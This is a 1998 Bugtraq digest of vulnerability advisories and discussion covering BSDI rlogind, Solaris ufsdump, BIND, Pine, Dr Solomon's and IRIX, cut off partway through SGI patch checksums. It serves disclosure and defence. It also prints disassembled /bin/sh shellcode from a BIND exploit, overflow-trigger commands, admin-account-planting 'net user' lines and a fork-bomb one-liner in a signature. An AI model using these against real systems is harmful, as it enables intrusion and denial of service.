Date: Fri, 19 Jun 1998 00:04:21 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 17 Jun 1998 to 18 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980619040632Z96130-25334+24@brimstone.netspace.org>
There are 13 messages totalling 1372 lines in this issue.
Topics of the day:
1. RSI.0004.06-17-98.BSDI.RLOGIND
2. FOLLOWUP: Solaris 2.6 ufsdump/ufsrestore vulnerability
3. FOLLOWUP: Solaris 2.6 ufsdump/ufsrestore vulnerabilities
4. Bind 4.9.6 ~ Current | X86 Exploit
5. another remote pine vunerability (2)
6. Dr Solomon's - Possible Hole
7. protocol 191? (2)
8. Re : Bind 4.9.6 ~ Current | X86 Exploit
9. Port 0 oddities
10. IRIX BIND DNS named(1M) Vulnerabilities
11. Security problems on SCO's lp subsystem
----------------------------------------------------------------------
Date: Wed, 17 Jun 1998 21:56:03 -0700
From: RSI Advise
Subject: RSI.0004.06-17-98.BSDI.RLOGIND
RSI.0004.06-17-98.BSDI.RLOGIND
|:::. |::::: |::::. |::::: |::::: |::::.
.. :: .. .. :: .. .. .. ::
|:::: |:::: |:::: :::::: |::::: |:::: |:
|: :: |: |: |:: |: |: ::
|: :: |::::: |: |::::: |::::: |:::::
Repent Security Incorporated, RSI
[ http://www.repsec.com ]
*** RSI ALERT ADVISORY ***
--- [CREDIT] --------------------------------------------------------------
Mark Zielinski: Research and development, author of advisory.
--- [SUMMARY] -------------------------------------------------------------
Announced: June 17, 1998
Report code: RSI.0004.06-17-98.BSDI.RLOGIND
Report title: BSDI rlogind
Vulnerability: A buffer overflow exists in rlogind that could allow remote
root access on any server running BSDI with rlogind enabled
Vendor status: Has been contacted on 6-17-98
Patch status: No patch currently available
Platforms: BSDI 2.0, 2.1, 3.0, 3.1
Not affected: FreeBSD-Current
NetBSD-Current
OpenBSD 2.3
Reference: http://www.repsec.com/advisories.html
Impact: If exploited, an attacker could potentially compromise
root access on your server
--- [DETAILS] -------------------------------------------------------------
Problem: A vulnerability exists in all current versions of BSDI
that has the potential to allow an attacker to gain
remote root access on any server running BSDI with
rlogind enabled.
Due to insufficient bounds checking, a buffer
overflow can result when rlogind attempts to copy the
connecting hostname into a buffer with a predefined size.
While overwriting the buffer, the attacker can manipulate
the stack and execute their own commands, possibly gaining
root access on the server.
For more information on this type of attack, point your
web browsers to: http://www.repsec.com/bofs.html.
--- [FIX] -----------------------------------------------------------------
Solution: Disable rlogind until Berkeley Software Design Inc.
can provide a patch.
1. su to the root account
2. kill -9 `ps -aux | grep rlogind | awk '{print $2}'`
3. edit /etc/inetd.conf with your favorite editor
4. place a # in front of any lines beginning with "login"
--- [PATCH] ---------------------------------------------------------------
Solution: Wait for Berkeley Software Deisgn Inc. to release an
official patch.
---------------------------------------------------------------------------
Repent Security Incorporated (RSI)
13610 N. Scottsdale Rd.
Suite #10-326
Scottsdale, AZ 85254
E-mail: advise@repsec.com
WWW: http://www.repsec.com
FTP: ftp://ftp.repsec.com
---------------------------------------------------------------------------
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAzU6dqAAAAEEAOHt9a5vevjD8ZjsEmncEbFp2U7aeqvPTcF/8FJMilgOVp75
dshXvZixHsYU7flgCNzA7wLIQPWBQBrweLG6dx9gE9e5Ca6yAJxZg8wNsi06tZfP
nvmvf6F/7xoWS5Ei4k3YKuzscxlyePNNKws6uUe2ZmwVoB+i3HHT44dOafMhAAUT
tBpSZXBTZWMgPGFkdmlzZUByZXBzZWMuY29tPg==
=ro8H
-----END PGP PUBLIC KEY BLOCK-----
Copyright June 1998 RepSec, Inc.
The information in this document is provided as a service to customers
of RepSec, Inc. Neither RepSec, Inc., nor any of it's employees, makes
any warranty, express or implied, or assumes any legal liability or
responsibility for the accuracy, completeness, or usefulness of any
information, apparatus, product, or process contained herein, or
represents that its use would not infringe any privately owned rights.
Reference herein to any specific commercial products, process, or
services by trade name, trademark, manufacturer, or otherwise, does not
necessarily constitute or imply its endorsement, recommendation or
favoring by RepSec, Inc. The views and opinions of authors express
herein do no necessarily state or reflect those of RepSec, Inc., and may
not be used for advertising or product endorsement purposes.
The material in this alert advisory may be reproduced and distributed,
without permission, in whole or in part, by other security incident
response teams (both commercial and non-commercial), provided the above
copyright is kept intact and due credit is given to RepSec, Inc.
This alert advisory may be reproduced and distributed, without
permission, in its entirety only, by any person provided such
reproduction and/or distribution is performed for non-commercial
purposes and with the intent of increasing the awareness of the Internet
community.
---------------------------------------------------------------------------
RepSec, Inc. are trademarks of RepSec, Inc. All other trademarks are
property of their respective holders.
------------------------------
Date: Thu, 18 Jun 1998 00:00:29 -0400
From: Eugene Bradley
Subject: Re: FOLLOWUP: Solaris 2.6 ufsdump/ufsrestore vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Sorry to follow up on my own post -- seems the PGP
software, MUA, and MIME attachments don't get along well.
Here's the attached email message I was referring to in
my last post...
- -----Forwarded Message--------
Date: Wed, 17 Jun 1998 13:06:26
From: "xxxxxxxxxxxxxxxxx"
Subject: SS # xxxxxxx
Jun O4 1998
Trial binary fix for bugs.
Bug Id: 4078445
Synopsis: ufsdump buffer overrun can coredump or be
exploited for root access
Bug Id: 4132365
Release summary: 2.6
Synopsis: Security vulnerability on ufsdump and restore
in 2.6 and 2.6 x86
fixes core dump for
/usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
/usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`
Trial binary available for testing and binary relief.
has fixes only for exploits mentioned in bug reports.
Product developement is currently working on more
complete fix.
If fix goes on schedule, It will be about three weeks
(end of June 1998)
before a complete 5.6 fix is available for testing.
- -rwxrwxrwx 1 xxxxx staff 927 Jun 4 14:56
README
- -rwxr-xr-x 1 xxxxx staff 195560 Jun 4 13:47
ufsdump
- -rwxr-xr-x 1 xxxxx staff 1022356 May 5 07:53
ufsrestore
% sum u*
51160 382 ufsdump
62088 1997 ufsrestore
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850
iQCVAgUBNYhmquNY3xV+5qZBAQEoFQP/XypGTq0d+NDn6ciixW6MHEab4TY8a6Hi
tbzL0xdVPv49HPVXsCBW4I0PvP8NX5aZuqU+LmbmZ1VIf9h3VeplmM6DvihBU133
niJip7+JNheR+q8BmVlQSv6huB8AT1/fCdeiFJXeeFoGzVlmu23MMNi4+sq5VWZ9
J51H4JNcrX4=
=Gf5u
-----END PGP SIGNATURE-----
--
Eugene Bradley -- Just Another Random Solaris administrator
eugene.bradley@erols.com (Personal ONLY!) -- PGP key ID Ox7EE6A641
PGP key available by sending me mail with "GET KEY" in the Subject: line
homepage is @ http://www.geocities.com/SiliconValley/Haven/9323/
------------------------------
Date: Wed, 17 Jun 1998 23:54:26 -0400
From: Eugene Bradley
Subject: FOLLOWUP: Solaris 2.6 ufsdump/ufsrestore vulnerabilities
-----BEGIN PGP SIGNED MESSAGE-----
[Note: To prevent unnecessary and unprofessional flames,
I will not mention the names of the employees at Sun that
I have dealt with in the course of this matter.]
Today, a Sun engineer emailed me new test binaries of
patched versions of ufsdump and ufsrestore for Solaris
2.6 SPARC that fix a buffer overflow vulnerability that
can be exploited to obtain root access.
Note that I received test binaries of the above-mentioned
software last month. Upon testing those (the week of May
15 of this year), I found that both binaries still
produced a SIGSEGV in the tape device arguement when it
exceeds a certain fixed length, and were still
exploitable. I reported this to Sun after my initial
findings May 18.
I had a very interesting time in dealing with Sun
concerning this particular vulnerability. In early May,
I was informed by one Sun programmer that this
vulnerability will be fixed in the next release of
Solaris (2.7 -- due out this fall) and that all engineers
"...were working to get [Solaris] 2.7 out the door." He
also informed me that part of the reason for the delay
was because I had a valid workaround, which was what I
posted to BUGTRAQ back on April 23:
quackers# chmod ug-s /usr/lib/fs/ufs/ufsdump
quackers# chmod u-s /usr/lib/fs/ufs/ufsrestore
Needless to say, after my boss and I complained loudly to
our Sun representative as well as security-alert@sun.com
concerning the ufsdump & ufsrestore buffer overflow
security vulnerability, things managed to start rolling
again towards a *fully-working* patch.
I'm already aware of the fact that Sun released a similiar
ufsdump/ufsrestore patch for Solaris 2.5.1 (now at patch
104490-05 according to sunsolve.sun.com) that didn't fix
the vulnerability. I'll be testing the patched binaries
on a Sun workstation at work over the weekend. Let me
know if you want me to look for anything in particular
besides the obvious SIGSEGV error(s). The last thing I
need is a repeat of the failed ufsdump/ufsrestore patch
for Solaris 2.6.
Attached is a note I got from a Sun engineer today that
explains most everything. This will include two bug
numbers, of which only one of them is valid in the Sun
bug database at sunsolve.sun.com. Note that I've
modified the headers in the attachment to prevent
unnecessary and unprofessional flames.
Last note: thanks to Sean McGann for discovering the
original Solaris 2.6 ufsdump/ufsrestore vulnerability in
on the x86 platform.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850
iQCVAgUBNYhlP+NY3xV+5qZBAQGhHAP/XKGaVX9wztacfwn7Ca5S6Jno3gGyGNg9
DQC/Vpyvs9z5QV5B7Lq9ECUxuiU2ITzJD7tsTdIKLwzpy2kViuFAwmZq9ujfrgv6
Jioo7VT0Gf3qxhul1MOla6v5OAwhowQoMB4K7zmXU1Uq/wYw5tmGbYKGXGYpcQg0
i0dSO0QvGao=
=MePB
-----END PGP SIGNATURE-----
--
Eugene Bradley -- Just Another Random Solaris administrator
eugene.bradley@erols.com (Personal ONLY!) -- PGP key ID Ox7EE6A641
PGP key available by sending me mail with "GET KEY" in the Subject: line
homepage is @ http://www.geocities.com/SiliconValley/Haven/9323/
------------------------------
Date: Thu, 18 Jun 1998 11:11:23 +0300
From: Valentin Pavlov
Subject: Re: Bind 4.9.6 ~ Current | X86 Exploit
Actually, as I posted to the original author, the packets are exactly what
is produced by the namedexploit.c exploit, postead in the article "named
warez" early on BUGTRAQ. I am pretty sure this is not a new exploit, this
is namedexploit.c
The packets are what you get if you attack a server with
namedexploit ns.yourvictim.org 4 1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Make source, not [high]score
----------------------------
Valentin 'Val Capone' Pavlov
----------------------------
capone@netbg.com, UKTC87203
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
On Wed, 17 Jun 1998, Sebastian Schoenberg wrote:
> I disassembled the packets and as you can see below, thats code to
> execute /bin/sh.
>
> Sebastian
>
> # objdump -lD -b binary --start=0x1fb7 --architecture=i386 scanme2 | less
>
> scanme2: file format binary
>
> No symbols in "scanme2".
> Disassembly of section .data:
>
> 00001fb7 <.data+0x1fb7>:
>
> ;-------------------------------------------------------------------------------------------------------
> ; Duplicate descriptor 4 to stdin (which is probably the socket)
> .... lots of nops deleted
>
> 1fb7: 31 c0 xorl %eax,%eax
> 1fb9: b0 3f movb $0x3f,%al
> 1fbb: 31 db xorl %ebx,%ebx
> 1fbd: b3 04 movb $0x4,%bl
> 1fbf: 31 c9 xorl %ecx,%ecx
> 1fc1: cd 80 int $0x80
> ; Dup stdout too
>
> 1fc3: 31 c0 xorl %eax,%eax
> 1fc5: b0 3f movb $0x3f,%al
> 1fc7: b1 01 movb $0x1,%cl
> 1fc9: cd 80 int $0x80
> 1fcb: 31 c0 xorl %eax,%eax
> 1fcd: b0 3f movb $0x3f,%al
> 1fcf: b1 02 movb $0x2,%cl
> 1fd1: cd 80 int $0x80
> 1fd3: eb 24 jmp 0x1ff9
> ; jmp and call returns here, so esi is address of '/bin/sh'
>
> 1fd5: 5e popl %esi
> 1fd6: 8d 1e leal (%esi),%ebx
> 1fd8: 89 5e 0b movl %ebx,0xb(%esi)
> 1fdb: 33 d2 xorl %edx,%edx
> 1fdd: 89 56 07 movl %edx,0x7(%esi)
> 1fe0: 89 56 0f movl %edx,0xf(%esi)
> 1fe3: b8 1b 56 34 12 movl $0x1234561b,%eax
> 1fe8: 35 10 56 34 12 xorl $0x12345610,%eax
> ; eax is 0x0b which is ecexve, starts /bin/sh
>
> 1fed: 8d 4e 0b leal 0xb(%esi),%ecx
> 1ff0: 8b d1 movl %ecx,%edx
> 1ff2: cd 80 int $0x80
>
> ; do exit if fail
> 1ff4: 33 c0 xorl %eax,%eax
> 1ff6: 40 incl %eax
> 1ff7: cd 80 int $0x80
> 1ff9: e8 d7 ff ff ff call 0x1fd5
>
> ; this here is '/bin.sh' as string
> 1ffe: 2f das
> 1fff: 62 69 6e boundl 0x6e(%ecx),%ebp
> 2002: 2f das
> 2003: 73 68 jae 0x206d
> 2005: 00 90 90 90 90 addb %dl,0x90909090(%eax)
>
> ; and lots of nops....
>
> -----Original Message-----
> From: System Administrator [SMTP:root@303.ORG]
> Sent: Wednesday, June 17, 1998 12:10 AM
> To: BUGTRAQ@NETSPACE.ORG
> Subject: Bind 4.9.6 ~ Current | X86 Exploit
>
>
> My apologies if this problem is already known.
>
> The attached file is a tcpdump written out, of a person i know, testing
> a new exploit for bind on me. To read this file and make any sense of it:
>
> tcpdump -vvxr scanme2
>
> It would appear to be another buffer overflow, and triggering it with
> sending mass "9090" to something. We are looking further into this, but do
> not yet have a exploit for it, but are a bit more concearned with a patch.
> It looks like it was spawned off the idea of the inverse query exploit.
>
> Also, at first look it appears the problem probally originates in
> ns_resp.c, under the /named directory in source. And the code I sent
> happens to corrupt the stack by adding "909090909090~" on the end of
> packets, corrupting the stack, crashing named, after leaving a root shell.
>
> It is also rumored that there are two version of this exploit already out,
> one a bit more public than the other, this one was the unreleased, not
> very public version.
>
> *side note*
> Ive definetly got some of this wrong, but any information would be very
> helpfull on it.
>
> --------------------
>
> System Administrator
> Http://www.303.org/~netmask/
> root@303.org
>
------------------------------
Date: Wed, 17 Jun 1998 16:57:28 +0200
From: Michal Zalewski
Subject: another remote pine vunerability
Recently I found silly remote overflow in pine. It's so simple there's no
need to describe it:
From: Michal Zalewski
...and any attempt of reading this mail will cause:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
It can be exploited to gain access to remote/local accounts. Fortunately,
too long headers are destroyed by sendmail during prescan (maybe there's
any way to split long line using encoding tricks):
Jun 17 16:49:24 genome sendmail[689]: QAA00689: SYSERR(root): prescan:
token too long
But other mail daemons aren't so strict - it works.
_______________________________________________________________________
Michal Zalewski [lcamtuf@boss.staszic.waw.pl] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]
------------------------------
Date: Thu, 18 Jun 1998 16:42:49 GMT
From: Toralv Dirro
Subject: Re: Dr Solomon's - Possible Hole
In reply, no it would not be an easy task to add commands such
as those described above!
The installation scripts stored in the MEUPGRD share are only
used if you are performing a Batch Installation. The Push On
and Pull Off installation methods do not use this approach.
The installation scripts are interpreted by the Update Agent
that runs on the client machine. This does indeed run under
the Local System account.
However, the Update Agent processes this script by interpreting
its contents. Thus you can not simply add a command to run an
executable program in the way that is described above.
Secondly, to prevent unauthorised tampering of installation
scripts, a checksum is created for each script that is
generated by the Management Console. The Update Agent
validates this checksum before processing the script,
regardless of the update method. If the contents of the script
has been altered, the generated and validated checksums will
not match and the Update Agent will refuse to process the
script's contents.
A tampered script may be identified by the administrator
running the Management Console, as the machine destined to run
the tampered script will have a red cross next to it (install
failed), and viewing the Installation Log will show the error
message "Integrity Failure". The Update Agent also displays a
dialog box on the target machine indicating the integrity
failure before terminating.
regards,
Toralv Dirro
Dr Solomon's Software Deutschland GmbH
On behalf of Graham Clarke, Dr Solomon's Software Ltd,
Von: Aleph One AT mailgate am 16.06.98 23:15
GDT
An: BUGTRAQ@NETSPACE.ORG AT mailgate@CCMAIL
Kopie: (Blindkopie: Toralv Dirro/TS/DE/DRS)
Thema: Dr Solomon's - Possible Hole
---------- Forwarded message ----------
Date: Mon, 15 Jun 1998 22:37:25 +0100
From: Nemo
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Dr Solomon's - Possible Hole
Dear All,
I was looking at Dr Solomon's Management Edition Anti-virus for
NT and believe some of the advise they give could leave a huge
hole in the security of your network.
Below is a cutting from their technical notes web page:
http://www.drsolomon.com/products/avtknt/tnotes/Null.html
###############################################################
Null Session Shares
As part of the initial installation of Management Edition the
repository is created and the following two shares are
associated with it :
Share Name Default Location Purpose
REPO C:\NTTKME\DISKS Contains all Management
Edition and
Anti-Virus
Toolkit components.
MEUPGRD C:\NTTKME\DISKS\UPGRADES Holds installation
scripts for machines
being updated via Batch
Installation.
Batch Installations work via the Update Manager service running
on the Management Server. It sends out a data packet across the
network to the Management Agent running on the target
machine(s). This packet indicates the name and location of the
install script that the Management Agent should run to perform
an update.
The Management Agent performs the update by running the Update
Agent. As this is being launched by an NT service, it runs
under the Local System account, not the currently logged in
user (if there is one).
The Local System account does not normally have access to
information across the network via a share. This would normally
mean that it is unable to access the install scripts in the
MEUPGRD share.
The solution is to create what is termed a "Null Session
Share". This is done automatically when Management Edition
creates the repository. If the user inadvertently deletes and
re-creates the share they must check that the null session
share is still active. This is done via REGEDT32.EXE. Check for
the following key:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServ
er\Parameters
\NullSessionShares
One of the values it should contain is MEUPGRD. The share
itself should also be set to Full Control for Everyone.
###############################################################
#########
The last sentence is the crux of the issue here.
This null session share is on the server and the "everyone"
group has full control. This means that anyone can edit the
files in this share.
Wouldn't it be an easy task to add the following commands :
net user password jsmith /add
net localgroup administrators jsmith /add
(or equiv)
Because the clients are running the scripts in the MEUPGRD with
system
privs the jsmith account will
be created and added to the local admins group......then the
attacker has every single NT client on your LAN to play with.
Thoughts? Comments?
------------------------------
Date: Wed, 17 Jun 1998 07:56:50 -0700
From: Il Oh
Subject: protocol 191?
I've been looking over my cisco filter logs with a paranoid eye ever
since named crashed on both my name servers. It's actually been very
educational.
I saw something the other day that I haven't been able to get any
information on. It was a bunch of broadcast packets listed as protocol
191. RFC 1700 lists protocols 101-254 as "unassigned".
There was a single broadcast packet for each of my class C networks.
Does anyone have any information about this?
Here are the entries from my log:
Jun 10 00:41:21 shaft.wii.com 58878: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:22 shaft.wii.com 58879: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:23 shaft.wii.com 58880: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:24 shaft.wii.com 58881: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:25 shaft.wii.com 58882: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:25 shaft.wii.com 58883: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:27 shaft.wii.com 58884: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:27 shaft.wii.com 58885: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:29 shaft.wii.com 58886: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:29 shaft.wii.com 58887: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:31 shaft.wii.com 58888: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:32 shaft.wii.com 58889: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:34 shaft.wii.com 58890: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:35 shaft.wii.com 58891: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:36 shaft.wii.com 58892: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:38 shaft.wii.com 58894: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:41 shaft.wii.com 58895: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:42 shaft.wii.com 58896: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:44 shaft.wii.com 58897: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:44 shaft.wii.com 58898: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:45 shaft.wii.com 58899: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:46 shaft.wii.com 58900: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:47 shaft.wii.com 58901: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:49 shaft.wii.com 58902: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:49 shaft.wii.com 58903: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:50 shaft.wii.com 58904: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:51 shaft.wii.com 58905: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
Jun 10 00:41:53 shaft.wii.com 58906: %SEC-6-IPACCESSLOGNP: list 101 denied
191 -> , 1 packet
------------------------------
Date: Wed, 17 Jun 1998 20:37:38 +0200
From: Rob Kouwenberg
Subject: Re : Bind 4.9.6 ~ Current | X86 Exploit
Hi !
I was a bit alarmed after this message.
Then I started out bithacking a bit for the following solution (IMHO improvement):
Solution : static named compilation & chrooted execution.
Situation :
OS : BSDi 2.1
named config files : /var/named
Necessary changes in bind-4.9.7-REL distribution :
Makefile :
71c71
< CC = gcc -static $(CPPFLAGS)
---
> CC = cc $(CPPFLAGS)
cp named /var/named/named
cd /var/named
chmod 555 named
mkdir etc
ln -s ../named.boot etc/named.boot
mkdir var
ln -s .. var/named
chroot /var/named /named
$ nslookup www.apple.com
Server: triple.stack.nl
Address: 131.155.141.167
Name: www.apple.com
Address: 17.254.0.91
Sleeping steady until the real issue is solved.
Tadiho, regards, Rob Kouwenberg
------------------------------
Date: Wed, 17 Jun 1998 15:11:05 -0500
From: Dagmar d'Surreal
Subject: Port 0 oddities
After reading the inital post on Bugtraq concerning DoS attacks involving
port zero (and being basically a paretty paranoid person), I took a chance
that it was not a stack-disabling attack, and dropped in some ip
firewalling rules (linux, stable kernel) to block and log connections from
any machine using source port 0, or connections from any machine, destined
to port 0 here. As bizarre as it sounds, apparently someone IS up to
something, since I've now logged this many blocked connections thus far.
I'm posting this because the inital post made the statement that these
incidences involved imapd (port 143) and as we can see here, it's not
limited to just that one service. I'd love sit and wait with a packet
dumper to have more information before speaking, but I'm about to go to
San Francisco for several days, and simply don't have the time. :/
Possibly this confirmation of the rumor will get more people interested in
hunting down whatever the heck this is...
Jun 10 00:21:04 think kernel: IP fw-in deny eth1 TCP 208.201.47.80:0 think.kung.foo:143 L=40 S=0x00 I=37635 F=0x0000 T=233
Jun 10 00:21:16 think kernel: IP fw-in deny eth1 TCP 208.201.47.80:0 think.kung.foo:53 L=40 S=0x00 I=37635 F=0x0000 T=233
Jun 10 00:21:27 think kernel: IP fw-in deny eth1 TCP 208.201.47.80:0 think.kung.foo:23 L=40 S=0x00 I=37635 F=0x0000 T=233
Jun 10 00:37:36 think kernel: IP fw-in deny eth1 TCP 208.201.47.80:0 think.kung.foo:8010 L=40 S=0x00 I=37635 F=0x0000 T=233
Jun 11 23:12:57 think kernel: IP fw-in deny eth1 TCP 208.201.47.80:0 think.kung.foo:53 L=40 S=0x00 I=62720 F=0x0000 T=234
Jun 15 17:56:53 think kernel: IP fw-in deny eth1 TCP 205.182.88.180:0 think.kung.foo:53 L=40 S=0x00 I=26881 F=0x0000 T=232
Jun 16 05:00:45 think kernel: IP fw-in deny eth1 TCP 134.50.8.42:0 think.kung.foo:53 L=40 S=0x00 I=11268 F=0x0000 T=236
Jun 17 00:10:06 think kernel: IP fw-in deny eth1 TCP 24.112.51.71:0 think.kung.foo:23 L=40 S=0x00 I=30723 F=0x0000 T=239
think.kung.foo is the internal name of the machine, and the appearance of the
name are the results of some sanitizing code in my log filters. Don't anyone
panic. ;)
------------------------------
Date: Thu, 18 Jun 1998 10:52:06 -0700
From: SGI Security Coordinator
Subject: IRIX BIND DNS named(1M) Vulnerabilities
DISTRIBUTION RESTRICTIONS - NONE - FOR PUBLIC RELEASE
-----BEGIN PGP SIGNED MESSAGE-----
______________________________________________________________________________
Silicon Graphics Inc. Security Advisory
Title: IRIX BIND DNS Vulnerabilities
Title: CERT CA-98.05
Number: 19980603-01-PX
Date: June 18, 1998
______________________________________________________________________________
Silicon Graphics provides this information freely to the SGI user community
for its consideration, interpretation, implementation and use. Silicon
Graphics recommends that this information be acted upon as soon as possible.
Silicon Graphics provides the information in this Security Advisory on
an "AS-IS" basis only, and disclaims all warranties with respect thereto,
express, implied or otherwise, including, without limitation, any warranty
of merchantability or fitness for a particular purpose. In no event shall
Silicon Graphics be liable for any loss of profits, loss of business, loss
of data or for any indirect, special, exemplary, incidental or consequential
damages of any kind arising from your use of, failure to use or improper
use of any of the instructions or information in this Security Advisory.
______________________________________________________________________________
- ------------------------
- ---- Issue Specifics ---
- ------------------------
The Berkeley Internet Name Domain (BIND) software is an implementation of
the Domain Name System (DNS). DNS provides Internet domain name service
through a server daemon called named(1M).
Unfortunately, several vulnerabilities were discovered in BIND and also
in named(1M) that can disrupt or lead to a root compromise on a named server.
These BIND vulnerabilities were reported in CERT CA-98.05 which can be
found at:
http://www.cert.org/advisories/CA-98.05.bind_problems.html
Silicon Graphics Inc. has investigated the issue and recommends the
following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED
that these measures be implemented on ALL vulnerable SGI systems. This
issue will be corrected in future releases of IRIX.
- ---------------
- ---- Impact ---
- ---------------
The BIND named(1M) daemon is not installed by default on IRIX.
The BIND named(1M) program for IRIX 3.X through IRIX 6.4 has these
vulnerabilities.
A local user account is not need in order to exploit these vulnerabilities.
These vulnerabilities have been publically discussed in Usenet newsgroups
and mailing lists.
- ---------------------------
- ---- Temporary Solution ---
- ---------------------------
Although patches are available for this issue, it is realized that
there may be situations where installing the patches immediately may
not be possible.
The steps below can be used to remove the root compromise vulnerability by
removing fake-iquery option in named(1M) configuration file. Unfortunately,
named(1M) will still be vulnerable to disruption of service unless the patches
are installed.
1) Verify you have named(1M) installed on this server.
% versions eoe1.sw.named {IRIX 3.X-5.X}
% versions eoe.sw.named {IRIX 6.X}
I eoe.sw.named 05/22/97 Berkeley Internet Name Domain Server
2) Become the root user on the system.
% /bin/su -
Password:
#
3) Edit /etc/named.boot file and find the options line. If the options
line has the "fake-iquery" flag present, the buffer overflow
vulnerability is present and you will want to remove the flag.
If the "fake-iquery" flag is not present, the buffer overflow
vulnerability is temporarily addressed until patches can be
installed.
# vi /etc/named.boot
{Find the "options" block or line, an example is given below}
options forward-only query-log fake-iquery
{Remove the "fake-iquery" entry}
options forward-only query-log
{Save and exit the file}
Refer to man named(1M) for further information.
************
*** NOTE ***
************
Removing the "fake-iquery" entry may prevent old
versions of nslookup(1C) program from working correctly.
4) Restart named(1M) daemon.
# /usr/sbin/named.restart
5) Return to previous user level.
# exit
%
- -----------------
- ---- Solution ---
- -----------------
OS Version Vulnerable? Patch # Other Actions
---------- ----------- --------- -------------
IRIX 3.x yes not avail Note 1, 2, 3.
IRIX 4.x yes not avail Note 1, 2, 3.
IRIX 5.0.x yes not avail Note 1, 2, 3.
IRIX 5.1.x yes not avail Note 1, 2, 3.
IRIX 5.2 yes not avail Note 1, 2, 3.
IRIX 5.3 yes 3123
IRIX 6.0.x yes not avail Note 1, 2, 3.
IRIX 6.1 yes not avail Note 1, 2, 3.
IRIX 6.2 yes 3117
IRIX 6.3 yes 2740
IRIX 6.4 yes 2741
IRIX 6.5 no
NOTES
1) Upgrade to currently supported IRIX operating system.
2) See "Temporary Solution" section for a workaround.
3) Unsupported "freeware" BIND distributions can be found at
http://www.isc.org/bind.html
Patches are available via anonymous FTP and your service/support provider.
The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com. Security information and patches can be found
in the ~ftp/security and ~ftp/patches directories, respectfully.
##### Patch File Checksums ####
The actual patch will be a tar file containing the following files:
Filename: README.patch.2740
Algorithm #1 (sum -r): 52811 7 README.patch.2740
Algorithm #2 (sum): 6852 7 README.patch.2740
MD5 checksum: C386BECBE87845EDACEDC59FD331B839
Filename: patchSG0002740
Algorithm #1 (sum -r): 47740 1 patchSG0002740
Algorithm #2 (sum): 29219 1 patchSG0002740
MD5 checksum: 0242CB2E892557FD914F2F0AEDC3F025
Filename: patchSG0002740.eoe_sw
Algorithm #1 (sum -r): 51555 277 patchSG0002740.eoe_sw
Algorithm #2 (sum): 15806 277 patchSG0002740.eoe_sw
MD5 checksum: 898287766E9B429E38E87D45103DB45E
Filename: patchSG0002740.idb
Algorithm #1 (sum -r): 45146 1 patchSG0002740.idb
Algorithm #2 (sum): 34825 1 patchSG0002740.idb
MD5 checksum: C1043EAF2A0A55F35BBB5252C76F4D77
Filename: README.patch.2741
Algorithm #1 (sum -r): 32803 7 README.patch.2741
Algorithm #2 (sum): 1238 7 README.patch.2741
MD5 checksum: 1DC3AC5CFCBB9C98CE903903DCD88E7F
Filename: patchSG0002741
Algorithm #1 (sum -r): 18539 1 patchSG0002741
Algorithm #2 (sum): 30008 1 patchSG0002741
MD5 checksum: CDAB96BBBE3CCFB2E8B93ABB067BDCBC
Filename: patchSG0002741.eoe_sw
